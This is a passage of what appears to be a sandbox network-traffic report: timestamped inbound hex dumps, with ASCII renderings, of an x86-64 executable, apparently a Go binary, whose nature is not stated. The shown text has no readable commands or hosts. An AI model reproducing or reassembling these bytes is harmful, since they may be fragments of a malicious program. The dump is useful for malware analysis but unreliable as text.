48 8d 05 9a 99 25 00 bb 15 00 00 00 48 8d 8c 24 98 00 00 00 Data Ascii: D$HT$8HtHZHH$HT$xH$=St"HB&$H$HHD$pHT$0HL$pHHHuHUNH,/HR(HHHHHHD$hHtuD$tHSHH$H$=St6HL$xH\$XH%H$
2023-01-25 20:04:35 UTC	2588	IN	Data Raw: cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 49 3b 66 10 0f 86 49 01 00 00 48 83 ec 40 48 89 6c 24 38 48 8d 6c 24 38 48 8b 42 08 48 8b b8 00 01 00 00 48 89 7c 24 20 48 8b 72 10 48 89 74 24 28 4c 8b 42 18 48 8b 52 20 48 89 54 24 18 48 81 7f 10 2b 01 00 00 7e 1e 4c 89 44 24 30 e8 4e b5 ff ff 48 8b 54 24 18 48 8b 74 24 28 48 8b 7c 24 20 4c 8b 44 24 30 83 3d 83 99 53 00 00 75 09 48 89 b7 80 00 00 00 eb 15 4c 8d 8f 80 00 00 00 48 89 f8 4c 89 cf e8 d6 21 de ff 48 89 c7 4d 8b 40 18 83 3d 58 99 53 00 00 75 09 4c 89 87 88 00 00 00 eb 15 4c 8d 8f 88 00 00 00 48 89 f8 4c 89 cf e8 cb 21 de ff 48 89 c7 48 8b 47 40 48 8b 5f 48 48 8b 0d 61 12 1b 00 48 39 05 52 12 1b 00 74 04 31 c0 eb 14 e8 e7 ff d7 ff 48 8b 54 24 18 48 8b 74 24 28 48 8b 7c 24 20 84 c0 Data Ascii: I;fIH@Hl$8Hl$8HBHH\|$ HrHt$(LBHR HT$H+~LD$0NHT$Ht$(H\|$ LD$0=SuHLHL!HM@=XSuLLHL!HHG@H_HHaH9Rt1HT$Ht$(H\|$
2023-01-25 20:04:35 UTC	2604	IN	Data Raw: 0a b8 01 00 00 00 e9 b5 fb ff ff b8 01 00 00 00 b9 01 00 00 00 48 85 c0 74 1a 48 89 5c 24 50 4c 89 8c 24 90 00 00 00 48 89 44 24 28 88 4c 24 26 31 d2 eb 26 89 c8 e9 85 fb ff ff 4c 8b 94 24 98 00 00 00 49 83 c2 10 48 8b 5c 24 50 4c 8b 8c 24 90 00 00 00 4d 89 d0 48 89 f2 48 89 54 24 68 4c 89 84 24 98 00 00 00 49 8b 08 49 8b 78 08 48 8b b4 24 10 01 00 00 4c 8b 16 4c 89 c8 48 89 f2 41 ff d2 48 8b 74 24 68 48 ff c6 4c 8b 44 24 28 49 39 f0 7f a7 0f b6 4c 24 26 eb 99 48 89 f0 0f b6 4c 24 25 e9 6d ff ff ff 48 ff c1 48 83 f9 06 7d 35 46 0f b6 14 09 45 8d 5a bf 41 80 fb 19 77 04 41 83 c2 20 4c 8d 1d 20 bc 24 00 45 0f b6 24 0b 45 8d 6c 24 bf 41 80 fd 19 77 04 41 83 c4 20 45 38 e2 74 c4 eb b5 48 85 f6 0f 84 d1 fa ff ff 48 89 74 24 60 31 c9 eb 14 4c 8b 84 24 98 00 00 Data Ascii: HtH\$PL$HD$(L$&1&L$IH\$PL$MHHT$hL$IIxH$LLHAHt$hHLD$(I9L$&HL$%mHH}5FEZAwA L $E$El$AwA E8tHHt$`1L$
2023-01-25 20:04:35 UTC	2620	IN	Data Raw: 00 00 e8 ee f7 d7 ff 48 8b 94 24 80 00 00 00 c6 82 60 01 00 00 01 48 8d 1d 98 50 2e 00 48 89 c1 48 89 d0 e8 ad 32 ff ff 31 c0 31 db 48 8b ac 24 a8 00 00 00 48 81 c4 b0 00 00 00 c3 48 89 54 24 30 48 89 c6 31 c0 4c 8b 84 24 88 00 00 00 41 b9 01 00 00 00 f0 45 0f b1 48 50 41 0f 94 c2 49 8d 40 50 48 89 44 24 60 45 84 d2 75 41 48 89 7c 24 38 48 89 5c 24 50 e8 5a 49 de ff 48 8b 44 24 60 48 8b 8c 24 c0 00 00 00 48 8b 54 24 30 48 8b 5c 24 50 48 8b b4 24 80 00 00 00 48 8b 7c 24 38 4c 8b 84 24 88 00 00 00 41 b9 01 00 00 00 44 8b 96 18 01 00 00 4c 8b 9e 20 01 00 00 4d 85 db 74 13 45 8b 23 45 39 d4 7d 0b 45 89 e5 45 89 d4 45 89 ea eb 03 45 89 d4 44 8b 69 04 45 39 ea 0f 8c 6c 02 00 00 90 4d 85 db 74 13 45 8b 13 45 39 e2 7d 0b 45 89 d3 45 89 e2 45 89 dc eb 03 45 89 e2 Data Ascii: H$`HP.HH211H$HHT$0H1L$AEHPAI@PHD$`EuAH\|$8H\$PZIHD$`H$HT$0H\$PH$H\|$8L$ADL MtE#E9}EEEEDiE9lMtEE9}EEEE
2023-01-25 20:04:35 UTC	2636	IN	Data Raw: 8b 5c 24 10 48 8b 4c 24 18 48 8b 7c 24 20 48 8b 74 24 28 66 90 e9 5b f9 ff ff cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 49 3b 66 10 0f 86 b2 01 00 00 48 83 ec 20 48 89 6c 24 18 48 8d 6c 24 18 48 89 44 24 28 48 89 4c 24 38 48 39 fb 7c 57 48 85 ff 74 52 48 39 fb 75 3a 48 89 7c 24 40 48 89 5c 24 30 48 89 44 24 28 48 89 4c 24 38 48 89 da 48 89 cb 48 89 d1 e8 8d 2d d7 ff 84 c0 75 18 48 8b 44 24 28 48 8b 4c 24 38 48 8b 5c 24 30 48 8b 7c 24 40 31 d2 eb 21 b8 01 00 00 00 48 8b 6c 24 18 48 83 c4 20 c3 31 c0 48 8b 6c 24 18 48 83 c4 20 c3 48 ff c2 48 89 f3 48 89 de 48 29 fb 48 39 da 0f 8f 9d 00 00 00 90 48 39 d6 0f 86 07 01 00 00 0f b6 1c 10 44 0f b6 01 41 38 d8 74 0a 83 cb 20 41 38 d8 75 cc 66 90 48 85 d2 7e 14 0f b6 5c 02 ff Data Ascii: \$HL$H\|$ Ht$(f[I;fH Hl$Hl$HD$(HL$8H9\|WHtRH9u:H\|$@H\$0HD$(HL$8HHH-uHD$(HL$8H\$0H\|$@1!Hl$H 1Hl$H HHHH)H9H9DA8t A8ufH~\
2023-01-25 20:04:35 UTC	2652	IN	Data Raw: 00 00 48 89 f8 48 8b 94 24 c0 00 00 00 eb 04 31 db 31 c9 48 83 b8 98 00 00 00 00 75 52 48 89 4c 24 78 48 89 5c 24 40 e8 69 ae d7 ff 83 3d d2 99 52 00 00 66 90 75 11 48 8b bc 24 38 01 00 00 48 89 87 98 00 00 00 eb 1a 48 8b bc 24 c0 00 00 00 0f 1f 44 00 00 e8 bb 20 dd ff 48 8b bc 24 38 01 00 00 48 89 f8 48 8b 4c 24 78 48 8b 5c 24 40 48 83 b8 90 00 00 00 00 0f 85 c1 00 00 00 48 8b 90 98 00 00 00 48 85 d2 74 05 48 8b 12 eb 02 31 d2 48 89 8c 24 b8 00 00 00 48 89 5c 24 58 48 8d b8 90 00 00 00 48 89 bc 24 b0 00 00 00 66 0f 1f 84 00 00 00 00 00 48 85 d2 0f 8e e3 01 00 00 e8 d2 ad d7 ff 83 3d 3b 99 52 00 00 75 11 48 8b 94 24 38 01 00 00 48 89 82 90 00 00 00 eb 15 48 8b bc 24 b0 00 00 00 e8 2b 20 dd ff 48 8b 94 24 38 01 00 00 48 8b b2 90 00 00 00 48 89 b4 24 80 00 Data Ascii: HH$11HuRHL$xH\$@i=RfuH$8HH$D H$8HHL$xH\$@HHHtH1H$H\$XHH$fH=;RuH$8HH$+ H$8HH$
2023-01-25 20:04:35 UTC	2668	IN	Data Raw: 89 c7 48 89 de 31 c0 48 8d 1d 6b ea 23 00 e8 22 81 db ff 48 8b 6c 24 28 48 83 c4 30 c3 48 89 44 24 08 e8 8e be dc ff 48 8b 44 24 08 e9 c4 fe ff ff cc cc cc cc 48 8d 05 f1 b9 23 00 bb 05 00 00 00 c3 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 49 3b 66 10 0f 86 cd 01 00 00 48 83 c4 80 48 89 6c 24 78 48 8d 6c 24 78 0f 1f 84 00 00 00 00 00 48 85 c0 0f 84 98 01 00 00 48 89 84 24 88 00 00 00 48 8b 48 28 bb 0a 00 00 00 48 89 c8 0f 1f 00 e8 9b 53 de ff 48 89 44 24 60 48 89 5c 24 48 48 8b 8c 24 88 00 00 00 48 8b 51 10 48 8b 71 18 48 8b 79 20 48 85 d2 0f 84 ae 00 00 00 48 89 d0 48 89 f3 48 89 f9 e8 c6 0f f4 ff 48 89 44 24 68 48 89 5c 24 50 48 89 04 24 48 89 5c 24 08 c6 44 24 10 3a e8 29 b2 d6 ff 45 0f 57 ff 65 4c 8b 34 25 28 00 00 00 4d 8b b6 00 00 00 Data Ascii: H1Hk#"Hl$(H0HD$HD$H#I;fHHl$xHl$xHH$HH(HSHD$`H\$HH$HQHqHy HHHHHD$hH\$PH$H\$D$:)EWeL4%(M
2023-01-25 20:04:35 UTC	2684	IN	Data Raw: 00 00 00 48 89 57 40 83 3d f7 19 52 00 00 75 07 48 89 4f 48 90 eb 12 48 8d 57 48 48 89 f8 48 89 d7 e8 ef a1 dc ff 48 89 c7 48 8b 8c 24 a0 00 00 00 48 89 4f 58 80 bc 24 a8 00 00 00 00 74 54 48 8d 05 8f f6 1c 00 e8 ea 22 d7 ff 48 c7 40 08 07 00 00 00 48 8d 0d d5 80 23 00 48 89 08 48 8b 7c 24 50 48 c7 47 68 01 00 00 00 48 c7 47 70 01 00 00 00 83 3d 8c 19 52 00 00 75 06 48 89 47 60 eb 12 48 8d 4f 60 48 89 fa 48 89 cf e8 85 a0 dc ff 48 89 d7 0f b6 8c 24 a9 00 00 00 88 4f 78 48 8b 8c 24 b0 00 00 00 83 3d 58 19 52 00 00 75 0c 48 89 8f a8 00 00 00 e9 00 01 00 00 48 81 c7 a8 00 00 00 e8 4e a1 dc ff e9 ef 00 00 00 66 0f 1f 84 00 00 00 00 00 81 fa 22 51 f4 eb 0f 85 da 00 00 00 48 8d 15 ad f7 20 00 48 39 d1 0f 85 ca 00 00 00 48 8b 8c 24 98 00 00 00 48 8b 94 24 90 00 Data Ascii: HW@=RuHOHHWHHHHH$HOX$tTH"H@H#HH\|$PHGhHGp=RuHG`HO`HHH$OxH$=XRuHHNf"QH H9H$H$
2023-01-25 20:04:35 UTC	2700	IN	Data Raw: 83 c4 10 c3 48 89 44 24 08 e8 a7 3e dc ff 48 8b 44 24 08 66 90 eb be cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 49 3b 66 10 0f 86 ce 01 00 00 48 83 ec 38 48 89 6c 24 30 48 8d 6c 24 30 48 8b 70 40 48 8b 78 48 48 85 f6 0f 84 8a 01 00 00 74 11 4c 8d 05 ae 9b 1f 00 4c 39 46 08 0f 84 77 01 00 00 4c 8d 05 fd 1f 2d 00 4c 39 c6 0f 85 75 01 00 00 80 7f 10 00 75 0a 80 7f 11 00 0f 84 57 01 00 00 48 89 44 24 40 80 7f 11 00 75 16 90 48 8b 4e 18 48 89 f8 ff d1 48 8b 44 24 40 4c 8d 05 c3 1f 2d 00 48 8b 50 50 48 85 d2 0f 84 0f 01 00 00 48 8b 02 ff d0 48 85 c9 0f 85 ef 00 00 00 48 89 5c 24 18 48 89 44 24 20 48 8d 05 b7 8c 22 00 e8 52 e2 d6 ff 48 89 44 24 28 83 3d 16 d9 51 00 00 75 39 48 8b 74 24 40 48 8b 0e 48 89 08 48 83 c6 Data Ascii: HD$>HD$fI;fH8Hl$0Hl$0Hp@HxHHtLL9FwL-L9uuWHD$@uHNHHD$@L-HPPHHHH\$HD$ H"RHD$(=Qu9Ht$@HHH
2023-01-25 20:04:35 UTC	2716	IN	Data Raw: 8b 9c 24 d0 00 00 00 48 8b 84 24 98 00 00 00 48 8b 8c 24 d8 00 00 00 48 8b ac 24 08 02 00 00 48 81 c4 10 02 00 00 c3 48 83 f8 01 0f 85 89 00 00 00 48 8b 8c 24 88 00 00 00 48 8b 91 e8 00 00 00 48 8b 89 f0 00 00 00 48 85 d2 75 0f 90 48 8b 0d b9 15 4c 00 48 8d 15 4a ec 2c 00 48 8b 52 28 48 89 c8 ff d2 48 c7 84 24 98 00 00 00 00 00 00 00 48 89 84 24 d0 00 00 00 48 89 9c 24 d8 00 00 00 c6 44 24 37 00 48 8b 94 24 00 02 00 00 48 8b 0a ff d1 48 8b 9c 24 d0 00 00 00 48 8b 84 24 98 00 00 00 48 8b 8c 24 d8 00 00 00 48 8b ac 24 08 02 00 00 48 81 c4 10 02 00 00 c3 48 8b 05 24 2a 4c 00 48 8b 0d 25 2a 4c 00 48 c7 84 24 98 00 00 00 00 00 00 00 48 89 84 24 d0 00 00 00 48 89 8c 24 d8 00 00 00 c6 44 24 37 00 48 8b 94 24 00 02 00 00 48 8b 02 90 ff d0 48 8b 84 24 98 00 00 00 Data Ascii: $H$H$H$HHH$HHHuHLHJ,HR(HH$H$H$D$7H$HH$H$H$H$HH$LH%LH$H$H$D$7H$HH$
2023-01-25 20:04:35 UTC	2732	IN	Data Raw: 89 6c 24 28 48 8d 6c 24 28 48 89 5c 24 40 48 89 44 24 20 48 8b 50 50 48 8b 70 58 48 8b 52 50 48 89 f0 ff d2 48 8b 54 24 20 48 01 42 78 48 8b 6c 24 28 48 83 c4 30 c3 48 89 44 24 08 48 89 5c 24 10 48 89 4c 24 18 48 89 7c 24 20 e8 65 be db ff 48 8b 44 24 08 48 8b 5c 24 10 48 8b 4c 24 18 48 8b 7c 24 20 eb 8f cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 49 3b 66 10 76 68 48 83 ec 50 48 89 6c 24 48 48 8d 6c 24 48 48 89 44 24 40 48 89 5c 24 60 48 89 4c 24 68 48 8b 50 50 48 8b 70 58 48 89 74 24 38 48 8d 05 e9 1e 1e 00 48 89 d3 e8 21 3b d6 ff 48 8b 5c 24 38 48 8b 4c 24 60 48 8b 7c 24 68 31 f6 45 31 c0 4d 89 c1 e8 c5 ab dc ff 48 8b 54 24 40 48 01 42 78 48 8b 6c 24 48 48 83 c4 50 c3 48 89 44 24 08 48 89 5c 24 10 48 89 4c 24 18 0f 1f 00 e8 bb bd db ff 48 8b 44 24 08 Data Ascii: l$(Hl$(H\$@HD$ HPPHpXHRPHHT$ HBxHl$(H0HD$H\$HL$H\|$ eHD$H\$HL$H\|$ I;fvhHPHl$HHl$HHD$@H\$`HL$hHPPHpXHt$8HH!;H\$8HL$`H\|$h1E1MHT$@HBxHl$HHPHD$H\$HL$HD$
2023-01-25 20:04:35 UTC	2748	IN	Data Raw: 00 00 48 8b b4 24 18 01 00 00 31 d2 48 8b 9c 24 58 01 00 00 90 e9 2a fd ff ff 48 8b 8c 24 c0 02 00 00 48 8b 11 48 8b 9a e8 00 00 00 48 8b 92 f0 00 00 00 66 90 48 85 db 75 0f 90 48 8b 15 cb 95 4b 00 48 8d 1d 5c 6c 2c 00 48 8b 4b 28 48 89 d0 ff d1 48 8b 8c 24 b8 02 00 00 48 8b 51 10 48 8b b4 24 c0 02 00 00 48 8b 7e 18 49 89 c0 48 89 d0 49 89 d9 48 89 fb 4c 89 c1 4c 89 cf e8 94 4a ff ff 48 8b 8c 24 30 01 00 00 48 8b b4 24 18 01 00 00 31 d2 31 db e9 aa fc ff ff e8 56 b6 d8 ff 48 8b 9c 24 88 01 00 00 48 8b 84 24 20 01 00 00 48 8b 8c 24 90 01 00 00 48 8b ac 24 a8 02 00 00 48 81 c4 b0 02 00 00 c3 4c 89 44 24 40 44 0f 11 bc 24 a8 01 00 00 74 06 49 8b 50 08 eb 03 4c 89 c2 4c 89 8c 24 50 01 00 00 48 89 94 24 a8 01 00 00 4c 89 8c 24 b0 01 00 00 48 8d 05 79 af 22 00 Data Ascii: H$1H$X*H$HHHfHuHKH\l,HK(HH$HQH$H~IHIHLLJH$0H$11VH$H$ H$H$HLD$@D$tIPLL$PH$L$Hy"
2023-01-25 20:04:35 UTC	2764	IN	Data Raw: 8d 0d 8f 13 2c 00 48 89 8c 24 08 01 00 00 48 8b 4c 24 50 48 89 8c 24 10 01 00 00 48 8d 05 33 32 1f 00 48 8d 9c 24 08 01 00 00 e8 c6 b7 d5 ff 48 8d 0d af 23 2c 00 eb 37 48 8d 0d 56 13 2c 00 48 89 8c 24 f8 00 00 00 48 8b 4c 24 50 48 89 8c 24 00 01 00 00 48 8d 05 7a e8 1e 00 48 8d 9c 24 f8 00 00 00 e8 8d b7 d5 ff 48 8d 0d 4e 23 2c 00 48 85 c9 74 04 48 8b 49 08 48 89 8c 24 d8 00 00 00 48 89 84 24 e0 00 00 00 48 8b 8c 24 d8 00 00 00 0f 1f 44 00 00 48 85 c9 74 09 48 8d 05 94 65 2c 00 eb 04 31 c9 31 c0 48 89 05 87 6c 4b 00 83 3d 50 d9 50 00 00 75 09 48 89 0d 7f 6c 4b 00 eb 0c 48 8d 3d 76 6c 4b 00 e8 49 61 db ff 48 8d 05 62 ed 1d 00 66 90 e8 5b e2 d5 ff 48 c7 40 08 32 00 00 00 48 8d 0d fd 7c 23 00 48 89 08 48 8d 0d 62 01 2c 00 48 89 0d 1b 69 4b 00 83 3d 04 d9 50 Data Ascii: ,H$HL$PH$H32H$H#,7HV,H$HL$PH$HzH$HN#,HtHIH$H$H$DHtHe,11HlK=PPuHlKH=vlKIaHbf[H@2H\|#HHb,HiK=P
2023-01-25 20:04:35 UTC	2780	IN	Data Raw: 24 0c 8b 74 24 10 4c 8b 44 24 18 4c 8b 4c 24 20 4c 8b 54 24 28 e9 3b ff ff ff 4c 8d 6c 24 20 4d 39 2c 24 0f 85 55 ff ff ff 49 89 24 24 e9 4c ff ff ff cc cc cc 48 83 ec 20 48 89 6c 24 18 48 8d 6c 24 18 4d 8b 66 20 4d 85 e4 75 4f 48 c7 04 24 00 00 00 00 48 c7 44 24 04 00 00 00 00 48 8b 10 44 8b 40 08 48 89 54 24 0c 44 89 44 24 14 8b 74 24 14 48 8b 54 24 0c 48 89 14 24 89 74 24 08 0f b6 04 24 0f b6 5c 24 01 0f b6 4c 24 02 8b 7c 24 04 48 8b 6c 24 18 48 83 c4 20 c3 4c 8d 6c 24 28 4d 39 2c 24 75 a6 49 89 24 24 eb a0 cc cc cc cc cc cc cc cc cc 49 3b 66 10 76 49 48 83 ec 28 48 89 6c 24 20 48 8d 6c 24 20 4d 8b 66 20 4d 85 e4 75 45 8b 70 08 48 8b 10 48 89 54 24 14 89 74 24 1c 0f b6 44 24 14 0f b6 5c 24 15 0f b6 4c 24 16 8b 7c 24 18 90 e8 5b 1e fc ff 48 8b 6c 24 20 Data Ascii: $t$LD$LL$ LT$(;Ll$ M9,$UI$$LH Hl$Hl$Mf MuOH$HD$HD@HT$DD$t$HT$H$t$$\$L$\|$Hl$H Ll$(M9,$uI$$I;fvIH(Hl$ Hl$ Mf MuEpHHT$t$D$\$L$\|$[Hl$
2023-01-25 20:04:35 UTC	2796	IN	Data Raw: 34 80 48 8d 14 f2 48 8d 52 08 c7 02 01 00 00 00 48 89 cb d1 e3 48 89 c8 89 d9 bf 01 00 00 00 48 8b ac 24 68 02 00 00 48 81 c4 70 02 00 00 c3 48 8b 10 90 48 8b 4a 08 48 89 8c 24 90 00 00 00 44 0f 11 bc 24 c8 01 00 00 44 0f 11 bc 24 d0 01 00 00 44 0f 11 bc 24 e0 01 00 00 c6 84 24 c8 01 00 00 03 48 8b 10 48 8b 72 08 48 8b 1a 48 8b 7a 10 4c 8d 46 01 90 4c 39 c7 73 52 48 89 94 24 a8 00 00 00 48 8d 05 4c 79 1f 00 48 89 f1 4c 89 c6 e8 c1 44 d9 ff 48 8b bc 24 a8 00 00 00 48 89 4f 10 83 3d 5e 59 50 00 00 75 05 48 89 07 eb 05 e8 62 e0 da ff 48 8b 8c 24 90 00 00 00 48 89 fa 48 89 de 48 89 c3 48 8b 84 24 78 02 00 00 4c 8d 46 01 4c 89 42 08 48 8d 14 b6 48 8d 34 d3 83 3d 22 59 50 00 00 75 2d 48 8b b4 24 c8 01 00 00 48 89 34 d3 48 8d 14 d3 48 8d 52 08 0f 10 84 24 d0 01 Data Ascii: 4HHRHHH$hHpHHJH$D$D$D$$HHrHHzLFL9sRH$HLyHLDH$HO=^YPuHbH$HHHH$xLFLBHH4="YPu-H$H4HHR$
2023-01-25 20:04:35 UTC	2812	IN	Data Raw: 44 89 64 24 44 48 89 84 24 a8 00 00 00 31 c0 48 89 44 24 60 48 8b 84 24 a8 00 00 00 e9 c2 12 00 00 45 31 e4 45 31 e4 4c 89 64 24 48 45 31 e4 4c 89 a4 24 20 01 00 00 45 31 e4 66 44 89 64 24 46 45 31 e4 4d 39 c1 75 08 4d 89 fa e9 54 05 00 00 4c 89 a4 24 f8 00 00 00 4c 89 ac 24 78 01 00 00 4d 8d 69 01 4d 39 e8 0f 85 a6 00 00 00 0f 1f 84 00 00 00 00 00 4c 39 c9 0f 86 e7 11 00 00 4d 8d 57 01 4e 8b 0c ca 4c 39 d7 73 5e 4c 89 8c 24 80 01 00 00 48 8d 05 7b 54 1e 00 4c 89 f9 4c 89 d6 e8 b0 04 d9 ff 4c 8d 53 01 48 8b 94 24 b0 01 00 00 48 8b b4 24 c0 01 00 00 4c 8b 44 24 58 4c 8b 8c 24 80 01 00 00 4c 8b a4 24 f8 00 00 00 4c 8b 7c 24 68 48 89 c3 48 89 cf 48 8b 84 24 a8 01 00 00 48 8b 8c 24 b8 01 00 00 4e 8d 1c fb 83 3d 11 19 50 00 00 90 75 09 4e 89 0c fb e9 a4 04 00 Data Ascii: Dd$DH$1HD$`H$E1E1Ld$HE1L$ E1fDd$FE1M9uMTL$L$xMiM9L9MWNL9s^L$H{TLLLSH$H$LD$XL$L$L\|$hHHH$H$N=PuN
2023-01-25 20:04:35 UTC	2828	IN	Data Raw: b1 08 2b 00 48 8b 6c 24 10 48 83 c4 18 c3 48 89 f0 0f 1f 40 00 e8 9b 65 da ff e8 16 66 da ff 90 48 89 44 24 08 e8 8b 3e da ff 48 8b 44 24 08 e9 01 fe ff ff cc 49 3b 66 10 0f 86 68 04 00 00 48 83 ec 30 48 89 6c 24 28 48 8d 6c 24 28 48 89 5c 24 40 0f 1f 00 48 83 f9 01 0f 82 3b 04 00 00 48 8d 51 ff 48 89 d6 48 f7 da 48 c1 fa 3f 83 e2 01 48 8d 04 13 90 48 83 f9 01 0f 84 58 02 00 00 48 89 5c 24 40 48 89 4c 24 48 48 89 f3 e8 a4 27 00 00 0f 1f 40 00 48 85 ff 0f 85 29 02 00 00 83 f8 66 0f 8f 7f 00 00 00 83 f8 37 7f 4e 83 f8 30 74 38 0f 1f 40 00 83 f8 31 0f 8c a6 01 00 00 48 85 c9 0f 84 4d 02 00 00 44 0f b6 03 66 0f 1f 84 00 00 00 00 00 90 41 80 f8 30 0f 82 35 02 00 00 41 80 f8 37 0f 87 2b 02 00 00 8d 50 d0 b8 01 00 00 00 0f 1f 40 00 e9 70 03 00 00 83 f8 61 74 18 Data Ascii: +Hl$HH@efHD$>HD$I;fhH0Hl$(Hl$(H\$@H;HQHHH?HHXH\$@HL$HH'@H)f7N0t8@1HMDfA05A7+P@pat
2023-01-25 20:04:35 UTC	2844	IN	Data Raw: 9c 24 48 03 00 00 48 8b 94 24 60 04 00 00 48 8d 84 24 10 03 00 00 31 c9 e9 78 03 00 00 8b 43 04 bb 0a 00 00 00 e8 0b 93 db ff 44 0f 11 bc 24 90 02 00 00 44 0f 11 bc 24 a0 02 00 00 48 8d 0d c9 00 21 00 48 89 8c 24 90 02 00 00 48 c7 84 24 98 02 00 00 07 00 00 00 48 89 84 24 a0 02 00 00 48 89 9c 24 a8 02 00 00 48 8b 8c 24 60 04 00 00 48 8d 84 24 90 02 00 00 31 d2 e9 cb 01 00 00 8b 43 04 bb 0a 00 00 00 e8 aa 92 db ff 44 0f 11 bc 24 70 02 00 00 44 0f 11 bc 24 80 02 00 00 48 8d 0d cd 1b 21 00 48 89 8c 24 70 02 00 00 48 c7 84 24 78 02 00 00 0c 00 00 00 48 89 84 24 80 02 00 00 48 89 9c 24 88 02 00 00 48 8b 8c 24 60 04 00 00 48 8d 84 24 70 02 00 00 31 d2 eb 1f 48 8b ac 24 50 04 00 00 48 81 c4 58 04 00 00 c3 48 8b 84 24 20 02 00 00 48 83 c0 10 48 89 f9 4c 8b 40 08 Data Ascii: $HH$`H$1xCD$D$H!H$H$H$H$H$`H$1CD$pD$H!H$pH$xH$H$H$`H$p1H$PHXH$ HHL@
2023-01-25 20:04:35 UTC	2860	IN	Data Raw: 24 c2 eb 9f 48 8b 84 24 b8 00 00 00 48 8b 9c 24 c0 00 00 00 48 8b bc 24 d0 00 00 00 44 0f b6 4c 24 42 4c 8b ac 24 88 00 00 00 e9 74 ff ff ff 48 8b 53 10 4c 8b 43 08 48 85 d2 0f 84 eb 09 00 00 48 83 fa 01 7e 04 4d 89 60 08 48 8b 4b 28 48 8b 53 20 0f 1f 00 48 83 f9 01 0f 86 f3 09 00 00 4c 8b 42 08 49 83 f8 ff 74 11 45 84 c9 74 5a 4d 85 e4 7e 55 66 90 4d 39 c4 7e 4e 4c 8b 43 10 49 39 c8 49 0f 4c c8 4c 8b 43 08 49 39 d0 74 3a 48 c1 e1 03 48 89 d0 4c 89 c3 e8 b8 ee d9 ff 48 8b 84 24 b8 00 00 00 48 8b 9c 24 c0 00 00 00 48 8b bc 24 d0 00 00 00 44 0f b6 4c 24 42 4c 8b 64 24 68 4c 8b ac 24 88 00 00 00 45 84 c9 0f 84 45 09 00 00 0f 1f 40 00 4c 39 23 0f 85 c5 fe ff ff e9 1e 09 00 00 48 8b 84 24 b8 00 00 00 48 8b 9c 24 c0 00 00 00 48 8b bc 24 d0 00 00 00 44 0f b6 4c Data Ascii: $H$H$H$DL$BL$tHSLCHH~M`HK(HS HLBItEtZM~UfM9~NLCI9ILLCI9t:HHLH$H$H$DL$BLd$hL$EE@L9#H$H$H$DL
2023-01-25 20:04:35 UTC	2876	IN	Data Raw: 24 1c e8 ae 7e d9 ff 48 8b 44 24 08 48 8b 5c 24 10 8b 4c 24 18 8b 7c 24 1c e9 57 f5 ff ff cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 49 3b 66 10 76 69 48 83 ec 08 48 89 2c 24 48 8d 2c 24 48 8b 7a 10 48 8b 42 18 48 8b 4a 08 80 39 00 75 43 44 0f 11 7f 08 83 3d a1 19 4f 00 00 75 09 48 c7 07 00 00 00 00 eb 0b 31 c9 0f 1f 40 00 e8 9b a1 d9 ff 44 0f 11 78 08 83 3d 7f 19 4f 00 00 75 09 48 c7 00 00 00 00 00 eb 0a 48 89 c7 31 c0 e8 7a a0 d9 ff 48 8b 2c 24 48 83 c4 08 c3 e8 6c 7d d9 ff eb 8a cc cc cc cc cc cc cc cc cc cc 4c 8d a4 24 50 ff ff ff 4d 3b 66 10 0f 86 48 04 00 00 48 81 ec 30 01 00 00 48 89 ac 24 28 01 00 00 48 8d ac 24 28 01 00 00 48 89 84 24 38 01 00 00 48 8b 48 08 48 89 4c 24 20 48 89 cb 48 8d 05 bc e5 1c 00 e8 f7 02 d8 ff 48 Data Ascii: $~HD$H\$L$\|$WI;fviHH,$H,$HzHBHJ9uCD=OuH1@Dx=OuHH1zH,$Hl}L$PM;fHH0H$(H$(H$8HHHL$ HHH
2023-01-25 20:04:35 UTC	2892	IN	Data Raw: 8b 5c 24 38 48 8b 4c 24 30 48 8b 6c 24 50 48 83 c4 58 c3 48 89 44 24 08 48 89 5c 24 10 48 89 4c 24 18 48 89 7c 24 20 48 89 74 24 28 4c 89 44 24 30 0f 1f 40 00 e8 db 3d d9 ff 48 8b 44 24 08 48 8b 5c 24 10 48 8b 4c 24 18 48 8b 7c 24 20 48 8b 74 24 28 4c 8b 44 24 30 e9 18 ff ff ff cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 49 3b 66 10 76 6e 48 83 ec 68 48 89 6c 24 60 48 8d 6c 24 60 48 89 5c 24 78 44 0f 11 7c 24 40 44 0f 11 7c 24 50 48 8d 15 94 00 00 00 48 89 54 24 40 48 89 7c 24 48 48 89 5c 24 50 48 89 4c 24 58 31 ff 48 89 de 49 89 c8 41 b9 02 00 00 00 4c 8d 54 24 40 31 db 48 89 f9 e8 03 02 00 00 48 89 d9 48 89 c3 31 c0 e8 f6 03 d8 ff 48 8b 6c 24 60 48 83 c4 68 c3 48 89 44 24 08 48 89 5c 24 10 48 89 4c 24 18 48 89 7c 24 20 e8 b3 Data Ascii: \$8HL$0Hl$PHXHD$H\$HL$H\|$ Ht$(LD$0@=HD$H\$HL$H\|$ Ht$(LD$0I;fvnHhHl$`Hl$`H\$xD\|$@D\|$PHHT$@H\|$HH\$PHL$X1HIALT$@1HHH1Hl$`HhHD$H\$HL$H\|$
2023-01-25 20:04:35 UTC	2908	IN	Data Raw: 7c 24 40 48 c7 47 08 00 00 00 00 48 c7 47 10 0a 00 00 00 83 3d eb 99 4e 00 00 75 05 48 89 07 eb 05 e8 ef 20 d9 ff 48 8b 44 24 58 48 8b 4c 24 68 48 89 fa 48 8b 5c 24 60 48 8b 72 08 4c 8d 46 01 4c 8b 0a 48 8b 7a 10 4c 39 c7 73 49 48 8d 05 22 06 19 00 4c 89 cb 48 89 f1 4c 89 c6 e8 f4 84 d7 ff 48 8b 7c 24 40 48 89 4f 10 83 3d 94 99 4e 00 00 75 05 48 89 07 eb 05 e8 98 20 d9 ff 48 8b 4c 24 68 48 89 fa 49 89 c1 48 89 de 48 8b 44 24 58 48 8b 5c 24 60 4c 8d 46 01 4c 89 42 08 48 8d 14 76 49 89 5c d1 08 49 89 4c d1 10 49 8d 3c d1 83 3d 4f 99 4e 00 00 75 06 49 89 04 d1 eb 05 e8 52 20 d9 ff 